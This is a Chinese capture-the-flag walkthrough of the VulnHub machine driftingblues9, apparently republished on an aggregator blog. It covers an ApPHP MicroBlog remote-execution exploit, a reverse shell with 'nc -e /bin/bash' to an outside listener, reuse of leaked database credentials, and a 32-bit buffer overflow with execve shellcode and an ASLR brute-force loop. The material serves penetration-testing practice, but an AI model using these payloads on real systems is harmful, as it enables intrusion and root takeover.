driftingblues9 - 溢出ASLR(内存地址随机化机制)

2024-06-19 05:28

本文主要是介绍driftingblues9 - 溢出ASLR(内存地址随机化机制),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Site Unreachable

driftingblues9easyaPphp GETSHELL、searchsploit使用、凭据收集、gdb使用、

缓冲区溢出漏洞(难)、pattern_create.rb、pattern_offset.rb 使用

主机发现

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ sudo netdiscover -i eth0 -r 192.168.44.139/24

服务探测

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ sudo nmap -sV -A -T 4 -p- 192.168.44.139  80/tcp    open  http    Apache httpd 2.4.10 ((Debian))111/tcp   open  rpcbind 2-4 (RPC #100000)

目录扫描

http://192.168.44.139/README.txt// ApPHP MicroBlog Free
// Version: 1.0.1

漏洞扫描

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ searchsploit apphp                      
------------------------------------------- ---------------------------------Exploit Title                             |  Path
------------------------------------------- ---------------------------------
ApPHP MicroBlog 1.0.1 - Multiple Vulnerabi | php/webapps/33030.txt
ApPHP MicroBlog 1.0.1 - Remote Command Exe | php/webapps/33070.py┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ searchsploit -m php/webapps/33030.txt  Exploit: ApPHP MicroBlog 1.0.1 - Multiple VulnerabilitiesURL: https://www.exploit-db.com/exploits/33030Path: /usr/share/exploitdb/exploits/php/webapps/33030.txtCodes: OSVDB-106352, OSVDB-106351Verified: True
File Type: ASCII text
Copied to: /home/kali/桌面/OSCP/33030.txt┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ python2 33070.py http://192.168.44.139/-= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable[*] Fecthing phpinfoPHP Version 5.6.40-0+deb8u12System   Linux debian 3.16.0-4-586 #1 Debian 3.16.51-2 (2017-12-03) i686Loaded Configuration File   /etc/php5/apache2/php.iniApache Version   Apache/2.4.10 (Debian)User/Group   www-data(33)/33Server Root   /etc/apache2DOCUMENT_ROOT   /var/www/htmlPHP Version   5.6.40-0+deb8u12allow_url_fopen  On  Onallow_url_include  Off  Offdisable_functions  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,open_basedir   no value    no valueSystem V Message based IPC   Wez FurlongSystem V Semaphores   Tom MaySystem V Shared Memory   Christian Cartus[*] Fetching include/base.inc.php
<?php// DATABASE CONNECTION INFORMATIONdefine('DATABASE_HOST', 'localhost');           // Database hostdefine('DATABASE_NAME', 'microblog');           // Name of the database to be useddefine('DATABASE_USERNAME', 'clapton'); // User name for access to databasedefine('DATABASE_PASSWORD', 'yaraklitepe');     // Password for access to databasedefine('DB_ENCRYPT_KEY', 'p52plaiqb8');         // Database encryption keydefine('DB_PREFIX', 'mb101_');              // Unique prefix of all table names in the database?>[*] Testing remote execution
[+] Remote exec is working with system() :)
Submit your commands, type exit to quit
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

经过一番排查,我们发现用户clapton的密码被重复使用su一下

提权

反弹shell

> nc -e /bin/bash 192.168.44.128 9001┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9001script /dev/null -c bashsu clapton //yaraklitepe
clapton@debian:~$ cat note.txt  
cat note.txt
buffer overflow is the way. ( ° ʖ °)if you're new on 32bit bof then check these:
翻译
缓冲区溢出就是这样。如果您是 32 位的新手,请检查以下内容:
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htmclapton@debian:~$ cat user.txt
cat user.txt
F569AA95FAFF65E7A290AB9ED031E04F

上面已经提示了有缓冲区溢出漏洞还给出了教程链接,来学习学习
首先我们先下载靶机里面的input 文件

PWN

由于此靶机上启用了ASLR,为了进行漏洞利用开发,我将此输入二进制文件复制到我的 Kali 中。

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ cat /proc/sys/kernel/randomize_va_space 
2

ASLR(系统开启的)
ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
在linux中使用此技术后,杀死某程序后重新开启,地址换。
在windows中使用此技术后,杀死进程后重新开启,地址不换,重启才会改变。

以上cat命令输出的值表示:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

我必须先禁用 ASLR,然后在 gdb 中加载二进制文件。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gdb -q input

生成字符

┌──(kali㉿kali)-[~]
└─$ msf-pattern_create -l 300┌──(kali㉿kali)-[~]
└─$ cd /usr/share/metasploit-framework/tools/exploit ┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 2000

gdb调试,得到可以看到在 0x41376641 处得到了分段错误。

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ gdb -q input
Reading symbols from input...
(No debugging symbols found in input)
(gdb) r    xxxxxxxxxxxxxx好多字符Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()

现在,我们需要用它来查找偏移量。
接着我们使用 patter_offset.rb 来查找我们可以覆盖 EIP 的字节数。执行后可以看到171字节后可以覆盖EIP。

┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -l 200 -q 0x41376641
[*] Exact match at offset 171┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -l 200 -q 0x41376641
[*] Exact match at offset 171

Leave等价于:

mov l %ebp %esp

pop l %ebp

shellcode来自于Linux/x86 - execve(/bin/sh) + NOT Encoded Shellcode (27 bytes) - Linux_x86 shellcode Exploit

我们在 171 处得到了精确匹配。现在,我们可以使用 python 命令简单地创建字符串。例如,输入包含具有 171 个 A、4 个 B 和 500 个 nop 的简单输入。
我们可以使用 gdb 中的参数来进行测试

./input $(python2 -c 'print "A" * 171 + "B" * 4 + "\x90" * 500')
┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ gdb -q input
Reading symbols from input...
(No debugging symbols found in input)
(gdb) run $(python2 -c 'print "A"*171 + "B"*4 + "\x90"*500')
Starting program: /home/kali/桌面/OSCP/input $(python2 -c 'print "A"*171 + "B"*4 + "\x90"*500')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/s $esp
0xffffccd0:     '\220' <repeats 200 times>...
(gdb) 

之后,我检查了 esp 寄存器,并由于小端字节序而用相反顺序的esp地址(由于此时esp地址存储的是下一跳地址,所以还有一种方法二,这个地址话可以填成jmp esp指令的地址(VulnHub-driftingblues:9_driftingblues9-CSDN博客))替换了 4 个 B。之后,我在 nop sled 之后添加了 shell。我的最终输入如下:

run $(python2 -c 'print "A" * 171 + "\xd0\xcc\xff\xff" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')

我也在目标机器上重复了相同的过程。但是,目标上的 ASLR 已启用,如果没有 root 权限,我们无法禁用它。因此,我们必须多次迭代相同的代码行。
我替换了之前有效负载中的地址并运行了 for 循环
经过两次不同的尝试,我得到了 root shell 和 flag

ldd input //0xb75ba000for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xa0\xe4\xff\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done

在 CUTTER 中分析了二进制文件。发现数组大小为 171,这是我们的偏移值

前面的是在kali主机上进行的测试,esp的值和靶机里面的esp的值是不同的,下面才是在靶机中进行提取的

0xbffe48a0:

clapton@debian:~$ gdb -q input
(gdb) run $(python2 -c 'print "A"*171 + "B"*4 + "\x90"*500')(gdb) x/ws $esp
x/ws $esp
0xbffe48a0:     U'\x90909090' <repeats 125 times>clapton@debian:~$ for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xa0\xe4\xff\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done
# cat /root/root.txt
cat /root/root.txtthis is the final of driftingblues series. i hope you've learned something from them.you can always contact me at vault13_escape_service[at]outlook.com for your questions. (mail language: english/turkish)your root flag:04D4C1BEC659F1AA15B7AE731CEEDD65good luck. ( ° ʖ °)

在 CUTTER 中分析了二进制文件。发现数组大小为 171,这是我们的偏移值。


这篇关于driftingblues9 - 溢出ASLR(内存地址随机化机制)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1074128

相关文章

一文带你理解Python中import机制与importlib的妙用

《一文带你理解Python中import机制与importlib的妙用》在Python编程的世界里,import语句是开发者最常用的工具之一,它就像一把钥匙,打开了通往各种功能和库的大门,下面就跟随小... 目录一、python import机制概述1.1 import语句的基本用法1.2 模块缓存机制1.

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Redis缓存问题与缓存更新机制详解

《Redis缓存问题与缓存更新机制详解》本文主要介绍了缓存问题及其解决方案,包括缓存穿透、缓存击穿、缓存雪崩等问题的成因以及相应的预防和解决方法,同时,还详细探讨了缓存更新机制,包括不同情况下的缓存更... 目录一、缓存问题1.1 缓存穿透1.1.1 问题来源1.1.2 解决方案1.2 缓存击穿1.2.1

Java如何通过反射机制获取数据类对象的属性及方法

《Java如何通过反射机制获取数据类对象的属性及方法》文章介绍了如何使用Java反射机制获取类对象的所有属性及其对应的get、set方法,以及如何通过反射机制实现类对象的实例化,感兴趣的朋友跟随小编一... 目录一、通过反射机制获取类对象的所有属性以及相应的get、set方法1.遍历类对象的所有属性2.获取

MySQL中的锁和MVCC机制解读

《MySQL中的锁和MVCC机制解读》MySQL事务、锁和MVCC机制是确保数据库操作原子性、一致性和隔离性的关键,事务必须遵循ACID原则,锁的类型包括表级锁、行级锁和意向锁,MVCC通过非锁定读和... 目录mysql的锁和MVCC机制事务的概念与ACID特性锁的类型及其工作机制锁的粒度与性能影响多版本

Spring使用@Retryable实现自动重试机制

《Spring使用@Retryable实现自动重试机制》在微服务架构中,服务之间的调用可能会因为一些暂时性的错误而失败,例如网络波动、数据库连接超时或第三方服务不可用等,在本文中,我们将介绍如何在Sp... 目录引言1. 什么是 @Retryable?2. 如何在 Spring 中使用 @Retryable

JVM 的类初始化机制

前言 当你在 Java 程序中new对象时,有没有考虑过 JVM 是如何把静态的字节码(byte code)转化为运行时对象的呢,这个问题看似简单,但清楚的同学相信也不会太多,这篇文章首先介绍 JVM 类初始化的机制,然后给出几个易出错的实例来分析,帮助大家更好理解这个知识点。 JVM 将字节码转化为运行时对象分为三个阶段,分别是:loading 、Linking、initialization

Java ArrayList扩容机制 (源码解读)

结论:初始长度为10,若所需长度小于1.5倍原长度,则按照1.5倍扩容。若不够用则按照所需长度扩容。 一. 明确类内部重要变量含义         1:数组默认长度         2:这是一个共享的空数组实例,用于明确创建长度为0时的ArrayList ,比如通过 new ArrayList<>(0),ArrayList 内部的数组 elementData 会指向这个 EMPTY_EL

【编程底层思考】垃圾收集机制,GC算法,垃圾收集器类型概述

Java的垃圾收集(Garbage Collection,GC)机制是Java语言的一大特色,它负责自动管理内存的回收,释放不再使用的对象所占用的内存。以下是对Java垃圾收集机制的详细介绍: 一、垃圾收集机制概述: 对象存活判断:垃圾收集器定期检查堆内存中的对象,判断哪些对象是“垃圾”,即不再被任何引用链直接或间接引用的对象。内存回收:将判断为垃圾的对象占用的内存进行回收,以便重新使用。

【Tools】大模型中的自注意力机制

摇来摇去摇碎点点的金黄 伸手牵来一片梦的霞光 南方的小巷推开多情的门窗 年轻和我们歌唱 摇来摇去摇着温柔的阳光 轻轻托起一件梦的衣裳 古老的都市每天都改变模样                      🎵 方芳《摇太阳》 自注意力机制(Self-Attention)是一种在Transformer等大模型中经常使用的注意力机制。该机制通过对输入序列中的每个元素计算与其他元素之间的相似性,